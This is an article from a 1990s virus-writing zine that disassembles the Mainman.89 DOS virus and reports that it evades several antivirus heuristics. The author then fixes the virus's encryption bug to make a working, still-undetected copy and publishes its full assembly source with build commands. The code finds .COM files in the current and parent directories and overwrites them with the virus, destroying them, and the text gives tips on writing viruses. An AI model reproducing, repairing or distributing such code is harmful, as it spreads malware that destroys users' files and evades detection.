SLAM2.019: Mainman.89 Disassembly & Bug-Fix by Gothmog/[DHA]
Mainman.89 or Trivial.89.B Disassembly, Comments, and Bug-Fix by Gothmog
Overview: The file KEYGEN.COM was posted to the usenet group alt.comp.virus source.code on April Fool's Day, 1997. The file was 31,568 bytes large, dated 04-02-97 at 7:14 P.M. Contained within the file was a trivial-esque overwriting virus that was, however, non-working.
Here is the full message from whoever posted the file, possibly the virus's author or also possibly just an interested collector or programmer:
; From mainman@wereverthefuckiwannabe.net Tue Apr 01 19:18:27 1997
; Path: news.alt.net!news1.alt.net!worldnet.att.net!cpk-news-hub1.bbnplanet.com!news.bbnplanet.com!news.maxwell.syr.edu!news.accessus.net!not-for-mail
; From: mainman@wereverthefuckiwannabe.net (nada chance)
; Newsgroups: alt.comp.virus.source.code
; Subject: keygen.com (0/1)
; Date: Wed, 02 Apr 1997 00:18:27 GMT
; Organization: accessU.S., Inc
; Lines: 2
; Message-ID: <3341a588.158374802@news.accessus.net>
; NNTP-Posting-Host: mtv-pm2-2-100.accessus.net
; X-Newsreader: Forte Free Agent 1.1/32.230
; --------
it's just a dummy to show how easy it is to get past huero's if u already know that don't bother d/ling it cuz it's trash
According to the poster of this message above, the file is trash, but shows how to get past heuristic scanners. I decided to take a look, and fired up my antivirus scanners. Lo-and-behold, the virus was undetectable by AVPLite v3.0 build 107 Update 03/22/97, Dr. Solomon's FindVirus v7.70's heuristics, and F-Protect v2.26 w/ paranoid mode heuristics enabled, but raised several important flags with ThunderByte's TBSCAN v7.07:
- C:\DOWNLOAD\KEYGEN.COM probably infected by an unknown virus
- c No checksum / recovery information (Anti-Vir.Dat) available.
- F Suspicious file access. Might be able to infect a file.
- S Contains a routine to search for executable (.COM or .EXE) files.
- # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software.
My interest piqued, I decided to take a closer look. I quickly disassembled the host file, and took a look. Instead of finding some complex, huge code, I found that actual virus was a meager 89d bytes long. I added comments to the code, and found that as provided, the virus was non-functioning. While it seemed decent on the whole, for what it accomplished, it had one glaring error: the decryption routine at the beginning of the virus `xor'd' working code within the virus with 33h, making it crash as the encrypted junk code got executed. My only two explanations for this is that One) The programmer of this virus is on crack. (the most likely explanation :) and Two) Whoever wrote this virus depended on some funky use of the large prefetch queue on some 386's and all 486's. Prefetch queue `tricks', however, do not function on today's modern processors (Pentium's, Pentium-Pro's, etc.) and as such, should not be used in viruses, as they cause unpredictable results and fuck up in general. In any case, however, I don't see how the virus could spread effectively at all, as if either of these conditions are true, successive generations of the virus will not function: the encryption loop only occurs once in the virus, so written copies will have the bytes already xor'd.
Well, as bored as I am, I decided to make a _working_ copy of the virus, so I set off to work. The quickest and easiest way, I decided, was simply to change the encryption key from 33h to 00h. This fixes both bugs, and keeps the virus invisible to AVP, DSAV, and F-PROT. So without further ado, here it is (after the fine print, of course):
Assemble with: tasm /m1 mainman.asm
tlink /t mainman.obj (links to a 89d byte COM file)
This program has the potential to permanently destroy executable images on any disk medium. Other modifications may have been made subsequent to the original release by the author, either benign, or ones that could result in further harm should the program be executed. In any case, no responsibility whatsoever will be taken for any damages incidental or otherwise resulting from the use, or misuse, of this program by the author(s). Neither will any responsibility be taken for omissions or errors in the code, comments, etc.
==========================================================[ code begins ]==
.model tiny
.code
org 100h
start_virus:
mov dx, [bp + offset encrypt_key] ; dx holds encryption key
lea bx, [bp + search_directory] ; address to start decrypting
mov cx, 22h ; number of bytes to decrypt
xor_loop:
xor [bx], dx ; decrypt byte at bx with key
add bx, 0002h ; process next word
loop xor_loop ; loop to encryption loop
mov cx, 0002h ; process two directories
search_directory:
push cx ; push cx = 0002h onto stack
mov ah, 4Eh ; ah = 4Eh, find first file
jmp skip_virus_signature ; jump over virus signature
db 0E9h ; byte fixup for tasm v4.0
dw offset skip_virus_signature - $ - 0002h
virus_signature db 'mainman'
skip_virus_signature:
mov cx, 0000h ; find all normal files
mov dx, offset file_mask ; ds:[dx] points to '*.com'
int 21h ; do it!
jc go_back_one_dir ; if no files found, go to
; parent directory
mov ax, 3D02h ; open file, read/write mode
mov dx, 9Eh ; filename in default dta
int 21h ; go! handle returned in ax
xchg bx, ax ; one byte; move handle to bx
mov ah, 40h ; ah = 40h, write file
mov cx, offset end_virus - offset start_virus
; ^----------------- number of bytes to write = end - start
mov dx, offset start_virus ; start at memory offset 100h
int 21h ; write the fat bitch...
mov ah, 3Eh ; ah = 3Eh, close file
int 21h ; fuckin' do it, man!
go_back_one_dir:
mov dx, offset dot_dot ; ds:[dx] points to '..'
mov ah, 3Bh ; ah = 3Bh, set current dir
int 21h ; change directory to parent
pop cx ; pop cx = 0002h off stack
loop search_directory ; loop till cx = 0000h (until
; two directories have been
; searched.)
int 20h ; terminate program, bye...
encrypt_key db 00h ; used for decrypting data
; ^----------------- value supplied in original program
; was 33h, this does not work, as it
; corrupts existing code.... (if you
; want an exact copy of the original
; sample, change this value to 33h.)
file_mask db '*.com', 00h ; used to find com files
dot_dot db '..', 00h ; '..' = parent directory
end_virus equ $
end start_virus
; ============================================================[ code ends ]==